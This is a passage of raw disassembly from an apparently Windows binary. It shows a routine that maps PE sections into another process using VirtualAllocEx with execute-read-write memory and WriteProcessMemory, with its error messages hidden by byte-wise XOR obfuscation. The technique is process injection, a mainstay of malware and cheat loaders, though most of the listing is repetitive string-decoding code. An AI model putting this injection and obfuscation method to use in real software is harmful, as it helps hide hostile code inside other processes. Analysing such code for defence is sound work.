lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7db], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7dc], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7dd], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7de], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7df], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7e0], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7e1], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7e2], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7e3], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7e4], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7e5], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7e6], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7e7], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7e8], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7e9], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7ea], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7eb], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7ec], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7ed], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7ee], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7ef], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7f0], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7f1], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7f2], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7f3], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7f4], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7f5], al
lea rax, [rsp + 0x7f6]
lea rax, [rsp + 0x7f6]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0xc8], 0
jmp 0x140072a37
mov rax, qword [rsp + 0xc8]
inc rax
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xc8], 0x1d
jae 0x140072a9b
mov rax, qword [rsp + 0xc8]
lea rax, [rsp + rax + 0x7d9]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x270]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7d8]
xor eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0xc8]
lea rax, [rsp + rax + 0x7d9]
mov qword [rsp + 0x278], rax
mov rax, qword [rsp + 0x278]
mov cl, byte [rsp + 0x52]
mov byte [rax], cl
jmp 0x140072a24
mov eax, 0x1d
imul rax, rax, 1
lea rax, [rsp + rax + 0x7d9]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x280]
mov byte [rax], 0
lea rax, [rsp + 0x7d9]
mov qword [rsp + 0x288], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [rsp + 0x288]
call fcn.140005fa4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x14007b523
mov rax, qword [rsp + 0x78]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x78]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x9c], 0
jmp 0x140072b4a
mov eax, dword [rsp + 0x9c]
inc eax
mov dword [rsp + 0x9c], eax
mov rax, qword [rsp + 0x40]
add rax, 0x28
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x178]
movzx eax, word [rax + 2]
cmp dword [rsp + 0x9c], eax
je 0x1400730b1
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x10], 0
je 0x1400730ac
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0xa28]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x40]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x48]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400730ac
mov byte [rsp + 0x738], 6
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x739], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x73a], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x73b], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x73c], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x73d], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x73e], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x73f], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x740], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x741], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x742], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x743], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x744], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x745], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x746], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x747], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x748], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x749], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x74a], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x74b], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x74c], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x74d], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x74e], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x74f], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x750], al
movsx eax, byte [rsp + 0x738]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.Cant_map_sections:_0x_x_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x751], al
lea rax, [rsp + 0x752]
lea rax, [rsp + 0x752]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0xd0], 0
jmp 0x140072fdc
mov rax, qword [rsp + 0xd0]
inc rax
mov qword [rsp + 0xd0], rax
cmp qword [rsp + 0xd0], 0x19
jae 0x140073040
mov rax, qword [rsp + 0xd0]
lea rax, [rsp + rax + 0x739]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x290]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x738]
xor eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0xd0]
lea rax, [rsp + rax + 0x739]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0x298]
mov cl, byte [rsp + 0x53]
mov byte [rax], cl
jmp 0x140072fc9
mov eax, 0x19
imul rax, rax, 1
lea rax, [rsp + rax + 0x739]
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0x2a0]
mov byte [rax], 0
lea rax, [rsp + 0x739]
mov qword [rsp + 0x2a8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [rsp + 0x2a8]
call fcn.140005fa4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x14007b523
jmp 0x140072b2c
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x40
xor edx, edx
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
jne 0x1400739c6
mov byte [rsp + 0x9d0], 0x1c
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9d1], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9d2], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9d3], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9d4], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9d5], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9d6], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9d7], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9d8], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9d9], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9da], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9db], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9dc], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9dd], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9de], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9df], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9e0], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9e1], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9e2], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9e3], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9e4], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9e5], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9e6], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9e7], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9e8], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9e9], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9ea], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9eb], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9ec], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9ed], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9ee], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9ef], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9f0], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9f1], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9f2], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9f3], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9f4], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9f5], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9f6], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9f7], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9f8], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9f9], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9fa], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x2a
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9fb], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x2b
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9fc], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x2c
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9fd], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x2d
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9fe], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x2e
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9ff], al
movsx eax, byte [rsp + 0x9d0]
mov ecx, 1
imul rcx, rcx, 0x2f
lea rdx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0xa00], al
